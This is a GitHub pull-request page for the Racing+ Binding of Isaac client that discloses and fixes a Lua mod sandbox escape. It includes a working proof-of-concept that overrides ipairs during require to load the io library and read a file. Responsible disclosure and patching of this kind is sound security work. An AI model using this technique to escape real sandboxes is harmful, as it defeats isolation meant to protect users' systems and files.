Zamiell / isaac-racing-client

The client software for Racing+, a Binding of Isaac racing platform.
https://isaacracing.net/
GNU General Public License v3.0
27 stars 16 forks source link

fix: sandbox escape #51

Closed MaierN closed 1 year ago

MaierN commented 1 year ago

The following mod escapes Racing+'s custom sandbox (for --luadebug):

-- main.lua

function myRequire(path)
    local localIpairs = ipairs

    -- replace 'ipair' with a dummy function
    ipairs = function()
        print("- custom ipairs")
        return localIpairs({})
    end

    local lib = require(path)

    -- restore 'ipair'
    ipairs = localIpairs

    return lib
end

-- no error
local io = myRequire("io")
-- e.g. mod can read file
print("flag:", io.open("flag.txt"):read("a"))

The same technique can be used with the ipairs, string.gsub, string.gmatch, table.insert and error functions

Fixed by making local copies of those functions

Zamiell commented 1 year ago

thank you